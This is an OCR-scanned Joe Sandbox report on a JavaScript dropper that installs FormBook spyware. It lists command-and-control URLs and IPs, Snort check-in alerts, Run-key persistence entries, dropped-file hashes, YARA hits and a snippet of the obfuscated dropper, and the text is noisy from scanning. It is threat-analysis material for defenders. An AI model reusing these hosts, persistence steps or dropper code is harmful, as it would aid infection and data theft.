unknown

unknown
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Name

http://dilshadkhan.duia.ro:6670/Vrenter22

http://dilshadkhan.duia.ro:6670/VrePSAIQ2wi

http://https://www.domainnameshop.com/whois

http://dilshadkhan.duia.ro:6670/Vre0D

http://dilshadkhan.duia.ro:6670/VreKS5yZXBsrr

http://dilshadkhan.duia.ro:6670/VreKS5yZXBsrrm

http://
https://adservice.google.com/ddm/fls/i/src=2542116;typ
e=chrom322;cat=chrom01g;0rd=5864849777998;gtm=

hitp://
https://adservice.google.co.uk/ddm/fls/i/src=2542116;ty
pe=chrom322;cat=chrom01g;0rd=5864849777998;gt

http://https://contextual. media.net/medianet.php?
cid=8CU157172&crid=722878611&size=306x271&http
s=1LMEM

http://dilshadkhan.duia.ro:6670/Vrer:

http:/fwww.ratebill.com

http:/fwww.msn.com/de-ch/?ocid=iehp

http://dilshadkhan.duia.ro:6670/Vreadkhan.duu

http://dilshadkhan.duia.ro:6670/Vreoft XMLHTTPII
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Source Malicious

wscript.exe, 00000005.00000003.755644912 true
.000002CA03755000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
5.00000003.755692263.000002CA0376A000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000002.00000002.961660167 true
.0000015597430000.00000004.00000020.0002
0000.00000000.sdmp

rundll32.exe, 0000000D.00000002.10354731 false
26.00000000049E2000.00000004.10000000.00
040000.00000000.sdmp

wscript.exe, 00000002.00000003.896380234 true
.0000015597A27000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
2.00000002.961961202.0000015597A20000.00
000004.00000020.00020000.00000000.sdmp,

wscript.exe, 00000002.00000003.703640260
.0000015597A27000.00000004.00000020.0002
0000.00000000.sdmp

wscript.exe, 00000005.00000002.995617824 true
.000002CA05530000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
9.00000002.966667032.000002A0FDD80000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000007.00000002.961947849 true
.0000019175800000.00000004.00000020.0002
0000.00000000.sdmp

explorer.exe, 00000004.00000000.53713473 false
0.000000000813C000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
004.00000000.537519128.000000000818D000.
00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000004.00000000.476053409.000000
000813C000.00000004.00000001.00020000.00
000000.sdmp, explorer.exe, 00000004.0000
0000.512260933.000000000818D000.00000004
.00000001.00020000.00000000.sdmp, explorer.exe,
00000004.00000000.476914061.000000000818D0
00.00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000004.00000000.511552982.000
000000813C000.00000004.00000001.00020000
.00000000.sdmp

explorer.exe, 00000004.00000000.47691406 false
1.000000000818D000.00000004.00000001.000
20000.00000000.sdmp

explorer.exe, 00000004.00000000.47509510 false
8.0000000008044000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
004.00000000.536743740.0000000008044000.
00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000004.00000000.510215126.000000
0008044000.00000004.00000001.00020000.00
000000.sdmp

wscript.exe, 00000005.00000003.919796248 true
.000002CA03757000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
5.00000003.921213700.000002CA0376A000.00
000004.00000020.00020000.00000000.sdmp

rundll32.exe, 0000000D.00000002.10379444 false
88.000000000505B000.00000004.10000000.00
040000.00000000.sdmp

explorer.exe, 00000004.00000000.51750789 false

1.000000000DFC1000.00000004.00000001.000
20000.00000000.sdmp, explorer.exe, 00000
004.00000000.478929782.000000000DFF5000.
00000004.00000001.00020000.00000000.sdmp,
explorer.exe, 00000004.00000000.540379994.000000
000DFC1000.00000004.00000001.00020000.00
000000.sdmp

wscript.exe, 00000005.00000002.995617824 true
.000002CA05530000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
9.00000002.966667032.000002A0FDD80000.00
000004.00000020.00020000.00000000.sdmp

wscript.exe, 00000005.00000003.755185989 true
.000002CA0572D000.00000004.00000020.0002
0000.00000000.sdmp

Antivirus Detection

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: safe

e Avira URL Cloud: malware

e Avira URL Cloud: malware

e Avira URL Cloud: malware

¢ URL Reputation: safe

e Avira URL Cloud: malware

e Avira URL Cloud: safe

e Avira URL Cloud: malware

e Avira URL Cloud: malware

Reputation

unknown

unknown

unknown

unknown

unknown

unknown

high

unknown

high

unknown

unknown

high

unknown

unknown
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Name Source Malicious Antivirus Detection Reputation

hitp:/f https://contextual. media.net/medianet.php? explorer.exe, 00000004.00000000.52445776 false high
cid=8CU157172&crid=858412214&size=306x271&http  4.0000000000E38000.00000004.00000020.000
s=1LMEM 20000.00000000.sdmp, explorer.exe, 00000

004.00000000.487873413.0000000000E38000.
00000004.00000020.00020000.00000000.sdmp

hitp://dilshadkhan.duia.ro:6670/VreG1C wscript.exe, 00000009.00000002.955051076 true e Avira URL Cloud: malware unknown
.000002A0FC2F8000.00000004.00000020.0002
0000.00000000.sdmp

hitp://dilshadkhan.duia.ro:6670/ wscript.exe, 00000009.00000002.972899634 true e Avira URL Cloud: malware unknown

.000002A0FE18A000.00000004.00000020.0002
0000.00000000.sdmp, wscript.exe, 0000000
9.00000002.964440619.000002A0FC389000.00
000004.00000020.00020000.00000000.sdmp

hitp:// https://www.domainnameshop.com/ rundll32.exe, 0000000D.00000002.10354731 false e Avira URL Cloud: safe unknown
26.00000000049E2000.00000004.10000000.00
040000.00000000.sdmp

hitp:// explorer.exe, 00000004.00000000.47897142 false high

https://2542116.fls.doubleclick.net/activityi;src=254211  8.000000000E01D000.00000004.00000001.000
6;type=2542116;cat=chomO;0rd=4842492154761;g 20000.00000000.sdmp

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%

50% < No. of IPs < 75%

EENC

75% < No. of IPs

Public IPs

P Domain Country Flag ASN ASN Name Malicious

170.39.76.27 www.jlbwaterdamagerepai Reserved 139776 PETRONAS-BHD-AS- true

rseattle.com APPetroliamNasionalBerha

dMmy

160.153.136.3 rasheedabossmoves.com United States =] 21501 GODADDY-AMSDE true

185.53.179.171 www.pdwfifi.com Germany = 61969 TEAMINTERNET-ASDE true

162.0.230.89 www.topings33.com Canada [E] 22612 NAMECHEAP-NETUS true

207.174.214.35 halecamilla.site United States S 394695 PUBLIC-DOMAIN- true
REGISTRYUS

66.235.200.145 muddybootslife.com United States S 13335 CLOUDFLARENETUS true

23.231.99.207 www.refreshertowels.com  United States S 62904 EONIX- true
COMMUNICATIONS-
ASBLOCK-62904US

52.17.85.125 shop.freewebstore.org United States £S5 16509 AMAZON-02US false

137.220.133.198 www.ratebill.com Singapore e} 64050 BCPL- true
SGBGPNETGIlobalASNSG

185.134.245.113 www.localbloom.online Norway i= 12996 DOMENESHOPOsloNorwa  true
yNO
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P Domain Country Flag ASN ASN Name Malicious
91.193.75.133 dilshadkhan.duia.ro Serbia = 209623 DAVID_CRAIGGG true
103.247.11.212 sekolahkejepang.com Indonesia - 58487 RUMAHWEB-AS- true
IDRumahweblndonesiaCVI
D
45.39.111.146 www.68chengxinle.com United States £S5 18779 EGIHOSTINGUS true
172.67.140.71 www.medyumgalip.com United States £S5 13335 CLOUDFLARENETUS true
35.241.47.216 www.84866.xyz United States £S5 15169 GOOGLEUS false
Private
IP
192.168.2.1
General Information

Joe Sandbox Version:
Analysis ID:

Start date and time: 27/05/202218:39:01

34.0.0 Boulder Opal
635297

2022-05-27 18:39:01 +02:00

Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 16m 2s
Hypervisor based Inspection enabled: false
Report type: light

Sample file name:
Cookbook file name:

Analysis system description:

CIQ-PO16266.js
default.jbs

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 24

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e GSl enabled (Javascript)
e AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification:
EGA Information: .

HDC Information:

HCA Information:

Cookbook Comments:

mal100.troj.spyw.expl.evad.winJS@19/7@40/16

Successful, ratio: 100%

.

Successful, ratio: 40.9% (good quality ratio 37.4%)
Quality average: 71.2%
Quality standard deviation: 31.5%

.

.

.

Successful, ratio: 100%
e Number of executed functions: 0
Number of non-executed functions: 0

.

Found application associated with file extension: .js

Adjust boot time

Enable AMSI

Override analysis time to 240s for JS/VBS files not yet terminated

e o o o

Warnings

e o o o o

e o o o

.
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Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, svchost.exe

HTTP Packets have been reduced

TCP Packets have been reduced to 100

Excluded IPs from analysis (whitelisted): 20.72.205.209, 20.44.239.154, 20.49.150.241, 40.119.249.228, 52.137.106.217

Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, settings-prod-wus2-2.westus2.cloudapp.azure.com, settings-prod-sea-2.southeastasia.cloudapp.
azure.com, ctldl.windowsupdate.com, settings-win.data.microsoft.com, settings-prod-sea-1.southeastasia.cloudapp.azure.com, arc.msn.com, atm-settingsfe-prod-weighted.trafficmanager.
net, ris.api.iris.microsoft.com, settings-prod-uks-2.uksouth.cloudapp.azure.com, settings-prod-wus2-1.westus2.cloudapp.azure.com, store-images.s-microsoft.com, login.live.com, img-
prod-cms-rt-microsoft-com.akamaized.net

Not all processes where analyzed, report is missing behavior information

Report size exceeded maximum capacity and may have missing b ehavior information.

Report size getting too big, too many NtOpenKeyEx calls found.

Report size getting too big, too many NtProtectVirtualMemory calls found.

Report size getting too big, t oo many NtQueryValueKey calls found.
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Simulations

Behavior and APIs

Time Type
18:40:24 Autostart
18:40:32 Autostart
18:40:40 Autostart
18:43:14 Autostart

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

@ No context

Created / dropped Files

C:\Program Files (x86)\CLfOt8l5h\oxx7nkdv4g8.exe v @

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows
Category: dropped

Size (bytes): 175616

Entropy (8bit):  7.183748058190585

Description

Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 204UO0JKWK "C:\Users\user\AppData\

Roaming\wtheeNaAZG.js"

Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 204UO0JKWK "C:\Users\user\AppDat

a\Roaming\wtheeNaAZG.js"

Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wtheeNaAZG.js

Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run ABTPODJOGF C:\Program Files (x86)\CIfOt8I5h\

oxx7nkdv4g8.exe

Encrypted: false

SSDEEP: 3072:SLoTtolDRDhriOOb3BMWWS10HUIbtuyCO5CWMFgN5yrPwifeMYnA16R:SLTIDR1Qb3B510th1CO5CWMaYPwizZo

MD5: FF568D4337CE1566C4140FA2FEDF8DB8

SHAL: ADF5F14F47D7855ABB55E9C371D5B39170651AE8

SHA-256: AD408337CE7D70D527D6A9044B1095B7F8149BB63139BOC5F2003E6D55305341

SHA-512: 3062FD8890DE3CE40FEE381514621BA9DBES3CCCAASC3A5EDAEDDSB9557A61638D741BF1A471A57F85DB0849FC65E2C2AA0244906FFA7202D8DF50416E80A¢
3F

Malicious: true
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Yara Hits: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe, Author: Felix Bilstein
- yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe, Author: JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe, Author: Felix Bilstein
- yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe, Author: JPCERT/CC Incident Response Group

Antivirus: Avira, Detection: 100%

Antivirus: Avira, Detection: 100%

Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 49%, Browse
Antivirus: ReversingLabs, Detection: 100%

Antivirus:

Preview: L.IThis program cannot be run in DOS mode....$........ v.&Y..uY..uY..uB.mu...uB.XuZ..uB.[uX..uRichY..u........ PE..L...
.@..

C:\Users\user\AppData\Local\Temp\CLf0t8l5h\oxx7nkdvég8.exe % €

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows
Category: dropped

Size (bytes): 175616

Entropy (8bit):  7.183748058190585

Encrypted: false

SSDEEP: 3072:SLoTtolDRDhriOOb3BMWWS10HUIbtuyCO5CWMFgN5yrPwifeMYnA16R:SLTIDR1Qb3B510th1CO5CWMaYPwiZo

MD5: FF568D4337CE1566C4140FA2FEDF8DB8

SHA1L: ADF5F14F47D7855ABB55E9C371D5B39170651AE8

SHA-256: AD408337CE7D70D527D6A9044B1095B7F8149BB63139B0C5F2003E6D55305341

SHA-512: 3062FD8890DE3CE40FEE381514621BA9DBES3CCCAASC3ASEDAEDDSB9557A61638D741BF1A471A57F85DB0849FC65E2C2AA0244906FFA7202D8DF50416E80A«
3F

Malicious: true

Antivirus: e Antivirus: Metadefender, Detection: 49%, Browse

e Antivirus: ReversingLabs, Detection: 100%

Preview:

C:\Users\user\AppData\Local\Temp\DB1

Process: C:\Windows\SyswOWwe64\cmd.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001
Category: dropped

Size (bytes): 40960

Entropy (8bit):  0.792852251086831

Encrypted: false

SSDEEP: 48:2i3nBA+I1Y1PJzrOURCVE9VBMXODOHSFINUfAIGUGYFoNSs8LKVUfIKVYJ7hU:pBCJyC2VBMZyFI8AIG4oNFeymw

MD5: 81DB1710BB13DA3343FCODFOF00BE49F

SHAL: 9B1F17E936D28684FFDFA962340C8872512270BB

SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38DOFACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious: false

Preview: SQLite format 3...... @ e PSSP PPUUPSPRSPPO

C:\Users\user\AppData\Local\Temp\bin.exe v@

Process: C:\Windows\System32\wscript.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows
Category: modified

Size (bytes): 175616

Entropy (8bit): 7.183748058190585
Encrypted: false
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https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis

SSDEEP:
MD5:
SHAL:
SHA-256:

SHA-512:

Malicious:

Yara Hits:

Antivirus:

Preview:

3072:SLoTtolDRDhriOOb3BmWWS10HUIbtuyCO5CWMFgN5yrPwifeMYNnA16R:SLTIDR1Qb3B510th1CO5CWMaYPwiZo
FF568D4337CE1566C4140FA2FEDF8DB8

4DF5F14F47D7855ABB55E9C371D5B39170651AE8
AD408337CE7D70D527D6A9044B1095B7F8149BB63139BOC5F2003E6D55305341

3062FD8890DE3CE40FEE381514621BA9DBES3CCCAASC3A5EDAEDDSB9557A61638D741BF1A471A57F85DB0849FC65E2C2AA0244906FFA7202D8DF50416E80A¢
3F

true

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: Felix Bilstein - yara-
signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source: C:\Users\user\AppData\Local\Temp\bin.exe, Author: JPCERT/CC Incident Response Group

Antivirus: Avira, Detection: 100%

Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: Metadefender, Detection: 49%, Browse
Antivirus: ReversingLabs, Detection: 100%

.@..

ext...p

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\explorer.exe

Composite Document File V2 Document, Cannot read section info

modified

7168

4.387957964543942

false
48:r5l0P8Vz0K/BXSMIuHtk/XSDCuJGa9Tub2dtPdO60XSR5adRCFU5+zdOvsuKiiAP:tIBVFJIhtk/2GzCoZdRm2aseK
C15C28E9D8569F5CED2F804D0B6729FB

4D0CC389CC645DDFEBCOC7CE8S5E0091BA944386D
CB5D8F54D85AAEDODD1272F404BD77E28D9E7FF4A5DD20D96CCEBABEESE6BAL4
07A7D94311C6DA21385F34B7AE5B0962350D8B1F3A948AC883F59A0295E6038C1A2EA8F4DESBAD2F3905CDEB0839F3E1542A1FB734F54178D9F5E6CS5AEAT647
false

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wtheeNaAZG.js @

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\System32\wscript.exe

ASCII text, with very long lines

dropped

8757

5.950642749871151

false
192:zgQyfg0CBohLOLXIb4b/3BUzZRhRIVYGOwL/mxjJoxL+IIAEvub:zaCB7L1b4b/3BgF/mIINIIA0Q
10CE482F20AAE1AB3CA028547D8434DD
3CODE284CDAFA07C13A01C3AFFD3CAC2C3D90AF9
699C971DAA7BCD35093A10E961433158F05765EFBFB93F10CAF39A1D0OFA3684B

5247410A0B50C48078F8EGED8CA44DE1258AF9571E2E9ALIA90E8A91330FCD2F275D2426BF6A2EA2ES54E3348AD7D7C49B04BE7C938FD948239DF69E3BDD3675E!
A

true

void ('Array.prototype.forEach ? Array.prototype.forEach = function (callback, thisArg) {. thisArg = thisArg;. for (var i =0; i < this.length; i++) {. callback.call(thisArg,
thisfi], i, this);.  }.}: 0, !Array.prototype.map ? Array.prototype.map = function (callback, thisArg) {. thisArg = thisArg;. vararray =[];. for (vari=0; i < this.length; i++)
{. array.push(callback.call(thisArg, this[i], i, this));. }. return array;.} : 0, !Array.prototype.reduce ? Array.prototype.reduce = function (fn, initial) {. var values =t
his;. if (typeof initial === "\x75\x6e\x64\x65\x66\x69\x6e\x65\x64") {. initial = 0;.  }. values.forEach(function (item, index) {. initial = fn(initial, item, index, this);.
};.  returninitial;.} : 0);.function __p_7265348614(__p_5822673305, __p_8514662229) {. switch (__p_5065938125) {. case -386.. return __p_5822673305 +
_p_8514662229;. }.}.function __p_9320033659(a){. a=_p

C:\Users\user\AppData\Roaming\wtheeNaAZG.js @

Process:
File Type:
Category:
Size (bytes):

C:\Windows\System32\wscript.exe
ASCII text, with very long lines
dropped

8757
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https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis

Entropy (8bit):

5.950642749871151

Encrypted: false

SSDEEP: 192:zgQyfg0CBohLOLXIb4b/3BUZRhRIVYGOwL/mxjJoxL+IIAEvub:zaCB7L1b4b/3BqF/mIINIIA0Q

MD5: 10CE482F20AAE1AB3CA028547D8434DD

SHAL: 3CODE284CDAFA07C13A01C3AFFD3CAC2C3D90AF9

SHA-256: 699C971DAA7BCD35093A10E961433158F05765EFBFB93F10CAF39A1D0OFA3684B

SHA-512: 5247410A0B50C48078F8EGEDSC44DE1258AF9571E2E9ATIA90EBA91330FCD2F275D2426BF6A2EA2ES4E3348AD7D7C49B04BE7C938FD948239DF69E3BDD3675E(
A

Malicious: true

Preview: void ('Array.prototype.forEach ? Array.prototype.forEach = function (callback, thisArg) {. thisArg = thisArg;. for (var i = 0; i < this.length; i++) {. callback.call(thisArg,
thisfi], i, this);.  }.}: 0, !Array.prototype.map ? Array.prototype.map = function (callback, thisArg) {. thisArg = thisArg;. var array =[];. for (vari=0; i < this.length; i++)
{ array.push(callback.call(thisArg, this[i], i, this));. }. return array;.} : 0, !Array.prototype.reduce ? Array.prototype.reduce = function (fn, initial) {. var values =t
his;. if (typeof initial === "\x75\x6e\x64\x65\x66\x69\x6e\x65\x64") {. initial = 0;.  }. values.forEach(function (item, index) {. initial = fn(initial, item, index, this);.
});. returninitial;.} : 0);.function __p_7265348614(__p_5822673305, _ p_8514662229) {. switch (__p_5065938125) {. case -386:. return __p_5822673305 +
__p_8514662229;. }.}.function __p_9320033659(a){. a=_p

Static File Info

General

File type: ASCII text, with very long lines

Entropy (8bit):  5.601281248512688

TriD:

File name: ClQ-P0O16266.js

File size: 334586

MD5: 3570adb415b3302811030be16c08f2ff

SHAL: 2da5d97870cfadf90ebb7890f58ee211eall2chb

SHA256: 10087128422049e18547776f5785304fbf760279baddc0abdbf3943f66b780ff

SHA512: 3a308a3313233ee03b38cde454a98b12b7ale7bc96f65915507c9c6642e6a929b2fe0586bf356aac62f17374b8a450b09c68c8dea079ff4e54d3a4f7dd0f10ct

SSDEEP: 6144:BTIdVW6b2AMNpk7ts/gEKg1Lf9IWaFBiJ+DUuMPAZHZGPksLvX97B/2xe8J0OA|:BTJd7BCss/zFLf9saFq+DPWHZOLV7Zy/

TLSH: A864B03187809F69DB984DOBDOBD1E1F55F3136AD473B2CCABA3390B2AAEEOD1616D45

File Content void ('Array.prototype.forEach ? Array.prototype.forEach = function (callback, thisArg) {. thisArg = thisArg;. for (var i = 0; i < this.length; i++) {.

Preview: callback.call(thisArg, this[i], i, this);.  }.} : 0, !Array.prototype.map ? Array.protot

File Icon

Icon Hash: e8d69ece968a9ecs

Network Behavior

Snort IDS Alerts

Di
Timestamp Protocol SID Message SRITIEED | L Source IP Dest IP
Port Port

192.168.2.5185.53.179.17 TCP 203145 ET TROJAN FormBook CnC Checkin (GET) 49913 80 192.168.2.5 185.53.179.1

149913802031453 3 71

05/27/22-

18:43:48.469747

192.168.2.5160.153.136.3 TCP 203145 ET TROJAN FormBook CnC Checkin (GET) 49830 80 192.168.2.5 160.153.136.

49830802031453 3 3

05/27/22-

18:42:06.776383

192.168.2.5134.122.201.2 TCP 203144 ET TROJAN FormBook CnC Checkin (GET) 49940 80 192.168.2.5 134.122.201.

1749940802031449 9 217

05/27/22-

18:44:23.615589

192.168.2.5170.39.76.274 TCP 203144 ET TROJAN FormBook CnC Checkin (GET) 49964 80 192.168.2.5 170.39.76.27

9964802031449 9

05/27/22-

18:45:15.799755
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Source Dest

Timestamp Protocol SID Message Source IP Dest IP

Port Port
192.168.2.5134.122.201.2 TCP 203145 ET TROJAN FormBook CnC Checkin (GET) 49940 80 192.168.2.5 134.122.201.
1749940802031453 3 217
05/27/22-
18:44:23.615589
192.168.2.5103.247.11.21 TCP 203144 ET TROJAN FormBook CnC Checkin (GET) 49848 80 192.168.2.5 103.247.11.2
249848802031449 9 12
05/27/22-
18:42:18.078087
192.168.2.5160.153.136.3 TCP 203141 ET TROJAN FormBook CnC Checkin (GET) 49830 80 192.168.2.5 160.153.136.
49830802031412 2 3
05/27/22-
18:42:06.776383
192.168.2.5185.53.179.17 TCP 203141 ET TROJAN FormBook CnC Checkin (GET) 49913 80 192.168.2.5 185.53.179.1
149913802031412 2 71
05/27/22-
18:43:48.469747
192.168.2.5134.122.201.2 TCP 203141 ET TROJAN FormBook CnC Checkin (GET) 49940 80 192.168.2.5 134.122.201.
1749940802031412 2 217
05/27/22-
18:44:23.615589
192.168.2.5170.39.76.274 TCP 203141 ET TROJAN FormBook CnC Checkin (GET) 49964 80 192.168.2.5 170.39.76.27
9964802031412 2
05/27/22-
18:45:15.799755
192.168.2.5170.39.76.274 TCP 203145 ET TROJAN FormBook CnC Checkin (GET) 49964 80 192.168.2.5 170.39.76.27
9964802031453 3
05/27/22-
18:45:15.799755
192.168.2.5185.53.179.17 TCP 203144 ET TROJAN FormBook CnC Checkin (GET) 49913 80 192.168.2.5 185.53.179.1
149913802031449 9 71
05/27/22-
18:43:48.469747
192.168.2.5170.39.76.274 TCP 203144 ET TROJAN FormBook CnC Checkin (GET) 49892 80 192.168.2.5 170.39.76.27
9892802031449 9
05/27/22-
18:43:24.808360
192.168.2.545.39.111.146 TCP 203145 ET TROJAN FormBook CnC Checkin (GET) 49920 80 192.168.2.5 45.39.111.14
49920802031453 3 6
05/27/22-
18:43:54.176553
192.168.2.545.39.111.146 TCP 203141 ET TROJAN FormBook CnC Checkin (GET) 49920 80 192.168.2.5 45.39.111.14
49920802031412 2 6
05/27/22-
18:43:54.176553
192.168.2.5170.39.76.274 TCP 203145 ET TROJAN FormBook CnC Checkin (GET) 49892 80 192.168.2.5 170.39.76.27
9892802031453 3
05/27/22-
18:43:24.808360
192.168.2.545.39.111.146 TCP 203144 ET TROJAN FormBook CnC Checkin (GET) 49920 80 192.168.2.5 45.39.111.14
49920802031449 9 6
05/27/22-
18:43:54.176553
192.168.2.5170.39.76.274 TCP 203141 ET TROJAN FormBook CnC Checkin (GET) 49892 80 192.168.2.5 170.39.76.27
9892802031412 2
05/27/22-
18:43:24.808360
192.168.2.5103.247.11.21 TCP 203141 ET TROJAN FormBook CnC Checkin (GET) 49848 80 192.168.2.5 103.247.11.2
249848802031412 2 12
05/27/22-
18:42:18.078087
192.168.2.5160.153.136.3 TCP 203144 ET TROJAN FormBook CnC Checkin (GET) 49830 80 192.168.2.5 160.153.136.
49830802031449 9 3
05/27/22-
18:42:06.776383
192.168.2.5103.247.11.21 TCP 203145 ET TROJAN FormBook CnC Checkin (GET) 49848 80 192.168.2.5 103.247.11.2
249848802031453 3 12
05/27/22-

18:42:18.078087

Network Port Distribution
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Total Packets: 90

® 53 (DNS)
@ 6670 undefined

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

May 27, 2022 18:40:23.621349096 CEST 49736 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:23.661436081 CEST 6670 49736 91.193.75.133 192.168.2.5
May 27, 2022 18:40:24.200299025 CEST 49736 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:24.240132093 CEST 6670 49736 91.193.75.133 192.168.2.5
May 27, 2022 18:40:24.887820959 CEST 49736 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:24.927656889 CEST 6670 49736 91.193.75.133 192.168.2.5
May 27, 2022 18:40:32.508064032 CEST 49740 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:32.547874928 CEST 6670 49740 91.193.75.133 192.168.2.5
May 27, 2022 18:40:33.201026917 CEST 49740 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:33.241024971 CEST 6670 49740 91.193.75.133 192.168.2.5
May 27, 2022 18:40:33.897011995 CEST 49740 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:33.937021971 CEST 6670 49740 91.193.75.133 192.168.2.5
May 27, 2022 18:40:37.377120018 CEST 49742 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:37.417047024 CEST 6670 49742 91.193.75.133 192.168.2.5
May 27, 2022 18:40:37.967106104 CEST 49742 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:38.007126093 CEST 6670 49742 91.193.75.133 192.168.2.5
May 27, 2022 18:40:38.560946941 CEST 49742 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:38.601011038 CEST 6670 49742 91.193.75.133 192.168.2.5
May 27, 2022 18:40:41.118804932 CEST 49745 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:41.158776045 CEST 6670 49745 91.193.75.133 192.168.2.5
May 27, 2022 18:40:41.701839924 CEST 49745 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:41.742713928 CEST 6670 49745 91.193.75.133 192.168.2.5
May 27, 2022 18:40:42.389338017 CEST 49745 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:42.429231882 CEST 6670 49745 91.193.75.133 192.168.2.5
May 27, 2022 18:40:45.813384056 CEST 49747 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:45.853339911 CEST 6670 49747 91.193.75.133 192.168.2.5
May 27, 2022 18:40:46.374039888 CEST 49747 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:46.384680986 CEST 49750 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:46.414511919 CEST 6670 49747 91.193.75.133 192.168.2.5
May 27, 2022 18:40:46.426048994 CEST 6670 49750 91.193.75.133 192.168.2.5
May 27, 2022 18:40:46.999172926 CEST 49750 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:47.039338112 CEST 6670 49750 91.193.75.133 192.168.2.5
May 27, 2022 18:40:47.061630964 CEST 49747 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:47.101804018 CEST 6670 49747 91.193.75.133 192.168.2.5
May 27, 2022 18:40:47.702285051 CEST 49750 6670 192.168.2.5 91.193.75.133
May 27, 2022 18:40:47.746980906 CEST 6670 49750 91.193.75.133 192.168.2.5
May 27, 2022 18:40:51.524692059 CEST 49756 6670 192.168.2.5 91.193.75.133
